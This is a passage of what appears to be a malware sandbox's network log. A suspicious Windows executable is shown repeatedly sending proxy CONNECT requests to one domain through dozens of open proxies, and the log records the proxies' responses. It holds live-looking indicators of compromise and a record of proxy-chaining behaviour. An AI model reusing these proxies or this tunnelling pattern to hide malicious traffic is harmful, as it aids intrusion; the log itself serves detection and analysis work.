Feb 23, 2024 09:45:34.557781935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.334749937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.647130013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.089510918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.943835974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1971	192.168.2.4	55364	154.12.178.107	29985	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.786134958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1972	192.168.2.4	55393	104.244.75.78	31534	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.786144018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1973	192.168.2.4	54850	195.138.73.54	44017	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.786737919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.273566008 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1974	192.168.2.4	55356	139.159.176.147	8090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.798631907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.124541998 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Fri, 23 Feb 2024 08:45:33 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1975	192.168.2.4	55427	104.17.66.69	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.798660040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.885665894 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:33 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1976	192.168.2.4	55400	147.182.195.54	30727	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.823527098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1977	192.168.2.4	55347	36.64.238.82	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.823728085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1978	192.168.2.4	55442	202.159.60.65	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.844060898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1979	192.168.2.4	55444	41.86.252.91	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.844145060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1980	192.168.2.4	55388	5.44.42.82	10808	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.887295961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1981	192.168.2.4	55431	184.170.248.5	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.887635946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1982	192.168.2.4	55462	43.153.81.60	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.887851954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1983	192.168.2.4	55409	77.21.78.44	8118	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.908740997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.443921089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.147296906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.537828922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.089448929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.247124910 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1984	192.168.2.4	55405	45.11.95.165	6031	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.911647081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.475183010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.178549051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.475722075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.975440979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.475202084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.975019932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:48.975059986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:58.974917889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1985	192.168.2.4	55216	134.122.5.111	31275	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.911670923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.975181103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.975377083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1986	192.168.2.4	55383	183.88.212.167	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.928682089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1987	192.168.2.4	54851	203.112.223.126	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.963376045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1988	192.168.2.4	55387	106.14.249.81	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.964303017 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1989	192.168.2.4	55217	72.167.220.208	28249	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.964869022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.975155115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.975369930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1990	192.168.2.4	55422	63.250.52.82	8118	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.965034962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.220562935 CET	207	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1991	192.168.2.4	53934	164.92.86.113	64110	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.975050926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.975301981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.975373030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1992	192.168.2.4	55471	218.145.131.182	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.990045071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1993	192.168.2.4	53924	162.214.165.203	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.992481947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.178221941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.178492069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1994	192.168.2.4	55188	1.27.226.210	8060	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.995887041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1995	192.168.2.4	55435	162.215.223.76	54623	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.996097088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.557645082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.147304058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.348067999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.504929066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.581625938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1996	192.168.2.4	53859	208.87.131.151	44288	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.000608921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.475241899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.975264072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.084259987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.975174904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1997	192.168.2.4	55402	222.255.238.159	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.000802994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.339838982 CET	506	IN	HTTP/1.1 302 Found Date: Fri, 23 Feb 2024 08:45:34 GMT Server: Apache/2.4.41 (Ubuntu) Location: https://ktxcomay.com.vn Content-Length: 314 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 74 78 63 6f 6d 61 79 2e 63 6f 6d 2e 76 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://ktxcomay.com.vn">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1998	192.168.2.4	55420	27.75.148.52	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.015396118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1999	192.168.2.4	55416	219.243.212.118	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.027580976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2000	192.168.2.4	55464	107.180.101.226	51526	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.055954933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.557579041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.147156954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.147207975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.037771940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2001	192.168.2.4	55473	167.71.18.75	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.055957079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.147661924 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2002	192.168.2.4	55457	45.11.95.166	6006	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.210062981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.392298937 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2003	192.168.2.4	55496	202.159.60.65	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.299269915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2004	192.168.2.4	55469	37.187.91.192	17605	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.299771070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2005	192.168.2.4	53857	54.38.179.203	35032	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.300717115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.334593058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.444173098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2006	192.168.2.4	55504	43.153.81.60	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.305588007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2007	192.168.2.4	55509	41.86.252.91	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
